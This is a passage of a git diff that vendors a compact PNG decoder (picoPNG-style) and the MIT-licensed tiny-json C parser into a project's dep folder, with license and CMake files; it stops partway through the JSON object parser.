tiny. + + static const unsigned long LENBASE[29] = {3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258}; + static const unsigned long LENEXTRA[29] = {0,0,0,0,0,0,0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0}; + static const unsigned long DISTBASE[30] = {1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577}; + static const unsigned long DISTEXTRA[30] = {0,0,0,0,1,1,2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13}; + static const unsigned long CLCL[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; //code length code lengths + struct PNG //nested functions for PNG decoding + { + struct Info + { + unsigned long width, height, colorType, bitDepth, compressionMethod, filterMethod, interlaceMethod, key_r, key_g, key_b; + bool key_defined; //is a transparent color key given? + stl::vector palette; + } info; + int error; + void decode(stl::vector& out, const unsigned char* in, size_t size, bool convert_to_rgba32) + { + error = 0; + if(size == 0 || in == 0) { error = 48; return; } //the given data is empty + readPngHeader(&in[0], size); if(error) return; + size_t pos = 33; //first byte of the first chunk after the header + stl::vector idat; //the data from idat chunks + bool IEND = false, known_type = true; + info.key_defined = false; + while(!IEND) //loop through the chunks, ignoring unknown chunks and stopping at IEND chunk. IDAT data is put at the start of the in buffer + { + if(pos + 8 >= size) { error = 30; return; } //error: size of the in buffer too small to contain next chunk + size_t chunkLength = read32bitInt(&in[pos]); pos += 4; + if(chunkLength > 2147483647) { error = 63; return; } + if(pos + chunkLength >= size) { error = 35; return; } //error: size of the in buffer too small to contain next chunk + if(in[pos + 0] == 'I' && in[pos + 1] == 'D' && in[pos + 2] == 'A' && in[pos + 3] == 'T') //IDAT chunk, containing compressed image data + { + idat.insert(idat.end(), &in[pos + 4], &in[pos + 4 + chunkLength]); + pos += (4 + chunkLength); + } + else if(in[pos + 0] == 'I' && in[pos + 1] == 'E' && in[pos + 2] == 'N' && in[pos + 3] == 'D') { pos += 4; IEND = true; } + else if(in[pos + 0] == 'P' && in[pos + 1] == 'L' && in[pos + 2] == 'T' && in[pos + 3] == 'E') //palette chunk (PLTE) + { + pos += 4; //go after the 4 letters + info.palette.resize(4 * (chunkLength / 3)); + if(info.palette.size() > (4 * 256)) { error = 38; return; } //error: palette too big + for(size_t i = 0; i < info.palette.size(); i += 4) + { + for(size_t j = 0; j < 3; j++) info.palette[i + j] = in[pos++]; //RGB + info.palette[i + 3] = 255; //alpha + } + } + else if(in[pos + 0] == 't' && in[pos + 1] == 'R' && in[pos + 2] == 'N' && in[pos + 3] == 'S') //palette transparency chunk (tRNS) + { + pos += 4; //go after the 4 letters + if(info.colorType == 3) + { + if(4 * chunkLength > info.palette.size()) { error = 39; return; } //error: more alpha values given than there are palette entries + for(size_t i = 0; i < chunkLength; i++) info.palette[4 * i + 3] = in[pos++]; + } + else if(info.colorType == 0) + { + if(chunkLength != 2) { error = 40; return; } //error: this chunk must be 2 bytes for greyscale image + info.key_defined = 1; info.key_r = info.key_g = info.key_b = 256 * in[pos] + in[pos + 1]; pos += 2; + } + else if(info.colorType == 2) + { + if(chunkLength != 6) { error = 41; return; } //error: this chunk must be 6 bytes for RGB image + info.key_defined = 1; + info.key_r = 256 * in[pos] + in[pos + 1]; pos += 2; + info.key_g = 256 * in[pos] + in[pos + 1]; pos += 2; + info.key_b = 256 * in[pos] + in[pos + 1]; pos += 2; + } + else { error = 42; return; } //error: tRNS chunk not allowed for other color models + } + else //it's not an implemented chunk type, so ignore it: skip over the data + { + if(!(in[pos + 0] & 32)) { error = 69; return; } //error: unknown critical chunk (5th bit of first byte of chunk type is 0) + pos += (chunkLength + 4); //skip 4 letters and uninterpreted data of unimplemented chunk + known_type = false; + } + pos += 4; //step over CRC (which is ignored) + } + unsigned long bpp = getBpp(info); + stl::vector scanlines(((info.width * (info.height * bpp + 7)) / 8) + info.height); //now the out buffer will be filled + mz_ulong scanlines_len = scanlines.size(); + error = mz_uncompress(scanlines.data(), &scanlines_len, idat.data(), idat.size()); + if(error) return; //stop if the zlib decompressor returned an error + size_t bytewidth = (bpp + 7) / 8, outlength = (info.height * info.width * bpp + 7) / 8; + out.resize(outlength); //time to fill the out buffer + unsigned char* out_ = outlength ? &out[0] : 0; //use a regular pointer to the stl::vector for faster code if compiled without optimization + if(info.interlaceMethod == 0) //no interlace, just filter + { + size_t linestart = 0, linelength = (info.width * bpp + 7) / 8; //length in bytes of a scanline, excluding the filtertype byte + if(bpp >= 8) //byte per byte + for(unsigned long y = 0; y < info.height; y++) + { + unsigned long filterType = scanlines[linestart]; + const unsigned char* prevline = (y == 0) ? 0 : &out_[(y - 1) * info.width * bytewidth]; + unFilterScanline(&out_[linestart - y], &scanlines[linestart + 1], prevline, bytewidth, filterType, linelength); if(error) return; + linestart += (1 + linelength); //go to start of next scanline + } + else //less than 8 bits per pixel, so fill it up bit per bit + { + stl::vector templine((info.width * bpp + 7) >> 3); //only used if bpp < 8 + for(size_t y = 0, obp = 0; y < info.height; y++) + { + unsigned long filterType = scanlines[linestart]; + const unsigned char* prevline = (y == 0) ? 0 : &out_[(y - 1) * info.width * bytewidth]; + unFilterScanline(&templine[0], &scanlines[linestart + 1], prevline, bytewidth, filterType, linelength); if(error) return; + for(size_t bp = 0; bp < info.width * bpp;) setBitOfReversedStream(obp, out_, readBitFromReversedStream(bp, &templine[0])); + linestart += (1 + linelength); //go to start of next scanline + } + } + } + else //interlaceMethod is 1 (Adam7) + { + size_t passw[7] = { (info.width + 7) / 8, (info.width + 3) / 8, (info.width + 3) / 4, (info.width + 1) / 4, (info.width + 1) / 2, (info.width + 0) / 2, (info.width + 0) / 1 }; + size_t passh[7] = { (info.height + 7) / 8, (info.height + 7) / 8, (info.height + 3) / 8, (info.height + 3) / 4, (info.height + 1) / 4, (info.height + 1) / 2, (info.height + 0) / 2 }; + size_t passstart[7] = {0}; + size_t pattern[28] = {0,4,0,2,0,1,0,0,0,4,0,2,0,1,8,8,4,4,2,2,1,8,8,8,4,4,2,2}; //values for the adam7 passes + for(int i = 0; i < 6; i++) passstart[i + 1] = passstart[i] + passh[i] * ((passw[i] ? 1 : 0) + (passw[i] * bpp + 7) / 8); + stl::vector scanlineo((info.width * bpp + 7) / 8), scanlinen((info.width * bpp + 7) / 8); //"old" and "new" scanline + for(int i = 0; i < 7; i++) + adam7Pass(&out_[0], &scanlinen[0], &scanlineo[0], &scanlines[passstart[i]], info.width, pattern[i], pattern[i + 7], pattern[i + 14], pattern[i + 21], passw[i], passh[i], bpp); + } + if(convert_to_rgba32 && (info.colorType != 6 || info.bitDepth != 8)) //conversion needed + { + stl::vector data = out; + error = convert(out, &data[0], info, info.width, info.height); + } + } + void readPngHeader(const unsigned char* in, size_t inlength) //read the information from the header and store it in the Info + { + if(inlength < 29) { error = 27; return; } //error: the data length is smaller than the length of the header + if(in[0] != 137 || in[1] != 80 || in[2] != 78 || in[3] != 71 || in[4] != 13 || in[5] != 10 || in[6] != 26 || in[7] != 10) { error = 28; return; } //no PNG signature + if(in[12] != 'I' || in[13] != 'H' || in[14] != 'D' || in[15] != 'R') { error = 29; return; } //error: it doesn't start with a IHDR chunk! + info.width = read32bitInt(&in[16]); info.height = read32bitInt(&in[20]); + info.bitDepth = in[24]; info.colorType = in[25]; + info.compressionMethod = in[26]; if(in[26] != 0) { error = 32; return; } //error: only compression method 0 is allowed in the specification + info.filterMethod = in[27]; if(in[27] != 0) { error = 33; return; } //error: only filter method 0 is allowed in the specification + info.interlaceMethod = in[28]; if(in[28] > 1) { error = 34; return; } //error: only interlace methods 0 and 1 exist in the specification + error = checkColorValidity(info.colorType, info.bitDepth); + } + void unFilterScanline(unsigned char* recon, const unsigned char* scanline, const unsigned char* precon, size_t bytewidth, unsigned long filterType, size_t length) + { + switch(filterType) + { + case 0: for(size_t i = 0; i < length; i++) recon[i] = scanline[i]; break; + case 1: + for(size_t i = 0; i < bytewidth; i++) recon[i] = scanline[i]; + for(size_t i = bytewidth; i < length; i++) recon[i] = scanline[i] + recon[i - bytewidth]; + break; + case 2: + if(precon) for(size_t i = 0; i < length; i++) recon[i] = scanline[i] + precon[i]; + else for(size_t i = 0; i < length; i++) recon[i] = scanline[i]; + break; + case 3: + if(precon) + { + for(size_t i = 0; i < bytewidth; i++) recon[i] = scanline[i] + precon[i] / 2; + for(size_t i = bytewidth; i < length; i++) recon[i] = scanline[i] + ((recon[i - bytewidth] + precon[i]) / 2); + } + else + { + for(size_t i = 0; i < bytewidth; i++) recon[i] = scanline[i]; + for(size_t i = bytewidth; i < length; i++) recon[i] = scanline[i] + recon[i - bytewidth] / 2; + } + break; + case 4: + if(precon) + { + for(size_t i = 0; i < bytewidth; i++) recon[i] = scanline[i] + paethPredictor(0, precon[i], 0); + for(size_t i = bytewidth; i < length; i++) recon[i] = scanline[i] + paethPredictor(recon[i - bytewidth], precon[i], precon[i - bytewidth]); + } + else + { + for(size_t i = 0; i < bytewidth; i++) recon[i] = scanline[i]; + for(size_t i = bytewidth; i < length; i++) recon[i] = scanline[i] + paethPredictor(recon[i - bytewidth], 0, 0); + } + break; + default: error = 36; return; //error: unexisting filter type given + } + } + void adam7Pass(unsigned char* out, unsigned char* linen, unsigned char* lineo, const unsigned char* in, unsigned long w, size_t passleft, size_t passtop, size_t spacex, size_t spacey, size_t passw, size_t passh, unsigned long bpp) + { //filter and reposition the pixels into the output when the image is Adam7 interlaced. This function can only do it after the full image is already decoded. The out buffer must have the correct allocated memory size already. + if(passw == 0) return; + size_t bytewidth = (bpp + 7) / 8, linelength = 1 + ((bpp * passw + 7) / 8); + for(unsigned long y = 0; y < passh; y++) + { + unsigned char filterType = in[y * linelength], *prevline = (y == 0) ? 0 : lineo; + unFilterScanline(linen, &in[y * linelength + 1], prevline, bytewidth, filterType, (w * bpp + 7) / 8); if(error) return; + if(bpp >= 8) for(size_t i = 0; i < passw; i++) for(size_t b = 0; b < bytewidth; b++) //b = current byte of this pixel + out[bytewidth * w * (passtop + spacey * y) + bytewidth * (passleft + spacex * i) + b] = linen[bytewidth * i + b]; + else for(size_t i = 0; i < passw; i++) + { + size_t obp = bpp * w * (passtop + spacey * y) + bpp * (passleft + spacex * i), bp = i * bpp; + for(size_t b = 0; b < bpp; b++) setBitOfReversedStream(obp, out, readBitFromReversedStream(bp, &linen[0])); + } + unsigned char* temp = linen; linen = lineo; lineo = temp; //swap the two buffer pointers "line old" and "line new" + } + } + static unsigned long readBitFromReversedStream(size_t& bitp, const unsigned char* bits) { unsigned long result = (bits[bitp >> 3] >> (7 - (bitp & 0x7))) & 1; bitp++; return result;} + static unsigned long readBitsFromReversedStream(size_t& bitp, const unsigned char* bits, unsigned long nbits) + { + unsigned long result = 0; + for(size_t i = nbits - 1; i < nbits; i--) result += ((readBitFromReversedStream(bitp, bits)) << i); + return result; + } + void setBitOfReversedStream(size_t& bitp, unsigned char* bits, unsigned long bit) { bits[bitp >> 3] |= (bit << (7 - (bitp & 0x7))); bitp++; } + unsigned long read32bitInt(const unsigned char* buffer) { return (buffer[0] << 24) | (buffer[1] << 16) | (buffer[2] << 8) | buffer[3]; } + int checkColorValidity(unsigned long colorType, unsigned long bd) //return type is a LodePNG error code + { + if((colorType == 2 || colorType == 4 || colorType == 6)) { if(!(bd == 8 || bd == 16)) return 37; else return 0; } + else if(colorType == 0) { if(!(bd == 1 || bd == 2 || bd == 4 || bd == 8 || bd == 16)) return 37; else return 0; } + else if(colorType == 3) { if(!(bd == 1 || bd == 2 || bd == 4 || bd == 8 )) return 37; else return 0; } + else return 31; //unexisting color type + } + unsigned long getBpp(const Info& info) + { + if(info.colorType == 2) return (3 * info.bitDepth); + else if(info.colorType >= 4) return (info.colorType - 2) * info.bitDepth; + else return info.bitDepth; + } + int convert(stl::vector& out, const unsigned char* in, Info& infoIn, unsigned long w, unsigned long h) + { //converts from any color type to 32-bit. return value = LodePNG error code + size_t numpixels = w * h, bp = 0; + out.resize(numpixels * 4); + unsigned char* out_ = out.empty() ? 0 : &out[0]; //faster if compiled without optimization + if(infoIn.bitDepth == 8 && infoIn.colorType == 0) //greyscale + for(size_t i = 0; i < numpixels; i++) + { + out_[4 * i + 0] = out_[4 * i + 1] = out_[4 * i + 2] = in[i]; + out_[4 * i + 3] = (infoIn.key_defined && in[i] == infoIn.key_r) ? 0 : 255; + } + else if(infoIn.bitDepth == 8 && infoIn.colorType == 2) //RGB color + for(size_t i = 0; i < numpixels; i++) + { + for(size_t c = 0; c < 3; c++) out_[4 * i + c] = in[3 * i + c]; + out_[4 * i + 3] = (infoIn.key_defined == 1 && in[3 * i + 0] == infoIn.key_r && in[3 * i + 1] == infoIn.key_g && in[3 * i + 2] == infoIn.key_b) ? 0 : 255; + } + else if(infoIn.bitDepth == 8 && infoIn.colorType == 3) //indexed color (palette) + for(size_t i = 0; i < numpixels; i++) + { + if(4U * in[i] >= infoIn.palette.size()) return 46; + for(size_t c = 0; c < 4; c++) out_[4 * i + c] = infoIn.palette[4 * in[i] + c]; //get rgb colors from the palette + } + else if(infoIn.bitDepth == 8 && infoIn.colorType == 4) //greyscale with alpha + for(size_t i = 0; i < numpixels; i++) + { + out_[4 * i + 0] = out_[4 * i + 1] = out_[4 * i + 2] = in[2 * i + 0]; + out_[4 * i + 3] = in[2 * i + 1]; + } + else if(infoIn.bitDepth == 8 && infoIn.colorType == 6) for(size_t i = 0; i < numpixels; i++) for(size_t c = 0; c < 4; c++) out_[4 * i + c] = in[4 * i + c]; //RGB with alpha + else if(infoIn.bitDepth == 16 && infoIn.colorType == 0) //greyscale + for(size_t i = 0; i < numpixels; i++) + { + out_[4 * i + 0] = out_[4 * i + 1] = out_[4 * i + 2] = in[2 * i]; + out_[4 * i + 3] = (infoIn.key_defined && 256U * in[i] + in[i + 1] == infoIn.key_r) ? 0 : 255; + } + else if(infoIn.bitDepth == 16 && infoIn.colorType == 2) //RGB color + for(size_t i = 0; i < numpixels; i++) + { + for(size_t c = 0; c < 3; c++) out_[4 * i + c] = in[6 * i + 2 * c]; + out_[4 * i + 3] = (infoIn.key_defined && 256U*in[6*i+0]+in[6*i+1] == infoIn.key_r && 256U*in[6*i+2]+in[6*i+3] == infoIn.key_g && 256U*in[6*i+4]+in[6*i+5] == infoIn.key_b) ? 0 : 255; + } + else if(infoIn.bitDepth == 16 && infoIn.colorType == 4) //greyscale with alpha + for(size_t i = 0; i < numpixels; i++) + { + out_[4 * i + 0] = out_[4 * i + 1] = out_[4 * i + 2] = in[4 * i]; //most significant byte + out_[4 * i + 3] = in[4 * i + 2]; + } + else if(infoIn.bitDepth == 16 && infoIn.colorType == 6) for(size_t i = 0; i < numpixels; i++) for(size_t c = 0; c < 4; c++) out_[4 * i + c] = in[8 * i + 2 * c]; //RGB with alpha + else if(infoIn.bitDepth < 8 && infoIn.colorType == 0) //greyscale + for(size_t i = 0; i < numpixels; i++) + { + unsigned long value = (readBitsFromReversedStream(bp, in, infoIn.bitDepth) * 255) / ((1 << infoIn.bitDepth) - 1); //scale value from 0 to 255 + out_[4 * i + 0] = out_[4 * i + 1] = out_[4 * i + 2] = (unsigned char)(value); + out_[4 * i + 3] = (infoIn.key_defined && value && ((1U << infoIn.bitDepth) - 1U) == infoIn.key_r && ((1U << infoIn.bitDepth) - 1U)) ? 0 : 255; + } + else if(infoIn.bitDepth < 8 && infoIn.colorType == 3) //palette + for(size_t i = 0; i < numpixels; i++) + { + unsigned long value = readBitsFromReversedStream(bp, in, infoIn.bitDepth); + if(4 * value >= infoIn.palette.size()) return 47; + for(size_t c = 0; c < 4; c++) out_[4 * i + c] = infoIn.palette[4 * value + c]; //get rgb colors from the palette + } + return 0; + } + unsigned char paethPredictor(short a, short b, short c) //Paeth predicter, used by PNG filter type 4 + { + short p = a + b - c, pa = p > a ? (p - a) : (a - p), pb = p > b ? (p - b) : (b - p), pc = p > c ? (p - c) : (c - p); + return (unsigned char)((pa <= pb && pa <= pc) ? a : pb <= pc ? b : c); + } + }; + PNG decoder; decoder.decode(out_image, in_png, in_size, convert_to_rgba32); + image_width = decoder.info.width; image_height = decoder.info.height; + return decoder.error; +} diff --git a/dep/picopng/picopng.h b/dep/picopng/picopng.h new file mode 100644 index 0000000..6fe824d --- /dev/null +++ b/dep/picopng/picopng.h @@ -0,0 +1,8 @@ +#pragma once + + +#include +#include + +int decodePNG(stl::vector& out_image, unsigned long& image_width, unsigned long& image_height, + const unsigned char* in_png, size_t in_size, bool convert_to_rgba32 = true); diff --git a/dep/tiny-json/CMakeLists.txt b/dep/tiny-json/CMakeLists.txt new file mode 100644 index 0000000..47fd404 --- /dev/null +++ b/dep/tiny-json/CMakeLists.txt @@ -0,0 +1,27 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +file(GLOB_RECURSE SOURCE_FILES *.c *.h) +add_library(tiny-json STATIC ${SOURCE_FILES}) +target_include_directories(tiny-json PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) diff --git a/dep/tiny-json/LICENSE b/dep/tiny-json/LICENSE new file mode 100644 index 0000000..0fccdb2 --- /dev/null +++ b/dep/tiny-json/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2018 Rafa Garcia + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/dep/tiny-json/tiny-json.c b/dep/tiny-json/tiny-json.c new file mode 100644 index 0000000..b856690 --- /dev/null +++ b/dep/tiny-json/tiny-json.c @@ -0,0 +1,463 @@ + +/* + + + + Licensed under the MIT License . + SPDX-License-Identifier: MIT + Copyright (c) 2016-2018 Rafa Garcia . + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + +*/ + +#include +#include +#include "tiny-json.h" + +/** Structure to handle a heap of JSON properties. */ +typedef struct jsonStaticPool_s { + json_t* const mem; /**< Pointer to array of json properties. */ + unsigned int const qty; /**< Length of the array of json properties. */ + unsigned int nextFree; /**< The index of the next free json property. */ + jsonPool_t pool; +} jsonStaticPool_t; + +/* Search a property by its name in a JSON object. */ +json_t const* json_getProperty( json_t const* obj, char const* property ) { + json_t const* sibling; + for( sibling = obj->u.c.child; sibling; sibling = sibling->sibling ) + if ( sibling->name && !strcmp( sibling->name, property ) ) + return sibling; + return 0; +} + +/* Search a property by its name in a JSON object and return its value. */ +char const* json_getPropertyValue( json_t const* obj, char const* property ) { + json_t const* field = json_getProperty( obj, property ); + if ( !field ) return 0; + jsonType_t type = json_getType( field ); + if ( JSON_ARRAY >= type ) return 0; + return json_getValue( field ); +} + +/* Internal prototypes: */ +static char* goBlank( char* str ); +static char* goNum( char* str ); +static json_t* poolInit( jsonPool_t* pool ); +static json_t* poolAlloc( jsonPool_t* pool ); +static char* objValue( char* ptr, json_t* obj, jsonPool_t* pool ); +static char* setToNull( char* ch ); +static bool isEndOfPrimitive( char ch ); + +/* Parse a string to get a json. */ +json_t const* json_createWithPool( char *str, jsonPool_t *pool ) { + char* ptr = goBlank( str ); + if ( !ptr || *ptr != '{' ) return 0; + json_t* obj = pool->init( pool ); + obj->name = 0; + obj->sibling = 0; + obj->u.c.child = 0; + ptr = objValue( ptr, obj, pool ); + if ( !ptr ) return 0; + return obj; +} + +/* Parse a string to get a json. */ +json_t const* json_create( char* str, json_t mem[], unsigned int qty ) { + jsonStaticPool_t spool = { + .mem = mem, + .qty = qty, + .pool = { + .init = poolInit, + .alloc = poolAlloc + } + }; + return json_createWithPool( str, &spool.pool ); +} + +/** Get a special character with its escape character. Examples: + * 'b' -> '\b', 'n' -> '\n', 't' -> '\t' + * @param ch The escape character. + * @return The character code. */ +static char getEscape( char ch ) { + static struct { char ch; char code; } const pair[] = { + { '\"', '\"' }, { '\\', '\\' }, + { '/', '/' }, { 'b', '\b' }, + { 'f', '\f' }, { 'n', '\n' }, + { 'r', '\r' }, { 't', '\t' }, + }; + unsigned int i; + for( i = 0; i < sizeof pair / sizeof *pair; ++i ) + if ( pair[i].ch == ch ) + return pair[i].code; + return '\0'; +} + +/** Parse 4 characters. + * @Param str Pointer to first digit. + * @retval '?' If the four characters are hexadecimal digits. + * @retcal '\0' In other cases. */ +static unsigned char getCharFromUnicode( unsigned char const* str ) { + unsigned int i; + for( i = 0; i < 4; ++i ) + if ( !isxdigit( str[i] ) ) + return '\0'; + return '?'; +} + +/** Parse a string and replace the scape characters by their meaning characters. + * This parser stops when finds the character '\"'. Then replaces '\"' by '\0'. + * @param str Pointer to first character. + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* parseString( char* str ) { + unsigned char* head = (unsigned char*)str; + unsigned char* tail = (unsigned char*)str; + for( ; *head >= ' '; ++head, ++tail ) { + if ( *head == '\"' ) { + *tail = '\0'; + return (char*)++head; + } + if ( *head == '\\' ) { + if ( *++head == 'u' ) { + char const ch = getCharFromUnicode( ++head ); + if ( ch == '\0' ) return 0; + *tail = ch; + head += 3; + } + else { + char const esc = getEscape( *head ); + if ( esc == '\0' ) return 0; + *tail = esc; + } + } + else *tail = *head; + } + return 0; +} + +/** Parse a string to get the name of a property. + * @param str Pointer to first character. + * @param property The property to assign the name. + * @retval Pointer to first of property value. If success. + * @retval Null pointer if any error occur. */ +static char* propertyName( char* ptr, json_t* property ) { + property->name = ++ptr; + ptr = parseString( ptr ); + if ( !ptr ) return 0; + ptr = goBlank( ptr ); + if ( !ptr ) return 0; + if ( *ptr++ != ':' ) return 0; + return goBlank( ptr ); +} + +/** Parse a string to get the value of a property when its type is JSON_TEXT. + * @param str Pointer to first character ('\"'). + * @param property The property to assign the name. + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* textValue( char* ptr, json_t* property ) { + ++property->u.value; + ptr = parseString( ++ptr ); + if ( !ptr ) return 0; + property->type = JSON_TEXT; + return ptr; +} + +/** Compare two strings until get the null character in the second one. + * @param ptr sub string + * @param str main string + * @retval Pointer to next character. + * @retval Null pointer if any error occur. */ +static char* checkStr( char* ptr, char const* str ) { + while( *str ) + if ( *ptr++ != *str++ ) + return 0; + return ptr; +} + +/** Parser a string to get a primitive value. + * If the first character after the value is different of '}' or ']' is set to '\0'. + * @param str Pointer to first character. + * @param property Property handler to set the value and the type, (true, false or null). + * @param value String with the primitive literal. + * @param type The code of the type. ( JSON_BOOLEAN or JSON_NULL ) + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* primitiveValue( char* ptr, json_t* property, char const* value, jsonType_t type ) { + ptr = checkStr( ptr, value ); + if ( !ptr || !isEndOfPrimitive( *ptr ) ) return 0; + ptr = setToNull( ptr ); + property->type = type; + return ptr; +} + +/** Parser a string to get a true value. + * If the first character after the value is different of '}' or ']' is set to '\0'. + * @param str Pointer to first character. + * @param property Property handler to set the value and the type, (true, false or null). + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* trueValue( char* ptr, json_t* property ) { + return primitiveValue( ptr, property, "true", JSON_BOOLEAN ); +} + +/** Parser a string to get a false value. + * If the first character after the value is different of '}' or ']' is set to '\0'. + * @param str Pointer to first character. + * @param property Property handler to set the value and the type, (true, false or null). + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* falseValue( char* ptr, json_t* property ) { + return primitiveValue( ptr, property, "false", JSON_BOOLEAN ); +} + +/** Parser a string to get a null value. + * If the first character after the value is different of '}' or ']' is set to '\0'. + * @param str Pointer to first character. + * @param property Property handler to set the value and the type, (true, false or null). + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* nullValue( char* ptr, json_t* property ) { + return primitiveValue( ptr, property, "null", JSON_NULL ); +} + +/** Analyze the exponential part of a real number. + * @param str Pointer to first character. + * @retval Pointer to first non numerical after the string. If success. + * @retval Null pointer if any error occur. */ +static char* expValue( char* ptr ) { + if ( *ptr == '-' || *ptr == '+' ) ++ptr; + if ( !isdigit( *ptr ) ) return 0; + ptr = goNum( ++ptr ); + return ptr; +} + +/** Analyze the decimal part of a real number. + * @param str Pointer to first character. + * @retval Pointer to first non numerical after the string. If success. + * @retval Null pointer if any error occur. */ +static char* fraqValue( char* ptr ) { + if ( !isdigit( *ptr ) ) return 0; + ptr = goNum( ++ptr ); + if ( !ptr ) return 0; + return ptr; +} + +/** Parser a string to get a numerical value. + * If the first character after the value is different of '}' or ']' is set to '\0'. + * @param str Pointer to first character. + * @param property Property handler to set the value and the type: JSON_REAL or JSON_INTEGER. + * @retval Pointer to first non white space after the string. If success. + * @retval Null pointer if any error occur. */ +static char* numValue( char* ptr, json_t* property ) { + if ( *ptr == '-' ) ++ptr; + if ( !isdigit( *ptr ) ) return 0; + if ( *ptr != '0' ) { + ptr = goNum( ptr ); + if ( !ptr ) return 0; + } + else if ( isdigit( *++ptr ) ) return 0; + property->type = JSON_INTEGER; + if ( *ptr == '.' ) { + ptr = fraqValue( ++ptr ); + if ( !ptr ) return 0; + property->type = JSON_REAL; + } + if ( *ptr == 'e' || *ptr == 'E' ) { + ptr = expValue( ++ptr ); + if ( !ptr ) return 0; + property->type = JSON_REAL; + } + if ( !isEndOfPrimitive( *ptr ) ) return 0; + if ( JSON_INTEGER == property->type ) { + char const* value = property->u.value; + bool const negative = *value == '-'; + static char const min[] = "-9223372036854775808"; + static char const max[] = "9223372036854775807"; + unsigned int const maxdigits = ( negative? sizeof min: sizeof max ) - 1; + unsigned int const len = ptr - value; + if ( len > maxdigits ) return 0; + if ( len == maxdigits ) { + char const tmp = *ptr; + *ptr = '\0'; + char const* const threshold = negative ? min: max; + if ( 0 > strcmp( threshold, value ) ) return 0; + *ptr = tmp; + } + } + ptr = setToNull( ptr ); + return ptr; +} + +/** Add a property to a JSON object or array. + * @param obj The handler of the JSON object or array. + * @param property The handler of the property to be added. */ +static void add( json_t* obj, json_t* property ) { + property->sibling = 0; + if ( !obj->u.c.child ){ + obj->u.c.child = property; + obj->u.c.last_child = property; + } else { + obj->u.c.last_child->sibling = property; + obj->u.c.last_child = property; + } +} + +/** Parser a string to get a json object value. + * @param str Pointer to first character. + * @param pool The handler of a json pool for creating json instances. + * @retval Pointer to first character after the value. If success. + * @retval Null pointer if any error occur. */ +static char* objValue( char* ptr, json_t* obj, jsonPool_t* pool ) { + obj->type = JSON_OBJ; + obj->u.c.child = 0; + obj->sibling = 0; + ptr++; + for(;;) { + ptr = goBlank( ptr ); + if ( !ptr ) return 0; + if ( *ptr == ',' ) { + ++ptr; + continue; + } + char const endchar = ( obj->type == JSON_OBJ )? '}': ']'; + if ( *ptr == endchar ) { + *ptr = '\0'; + json_t* parentObj = obj->sibling; + if ( !parentObj ) return ++ptr; + obj->sibling = 0; + obj = parentObj; + ++ptr; + continue; + } + json_t* property = pool->alloc( pool ); 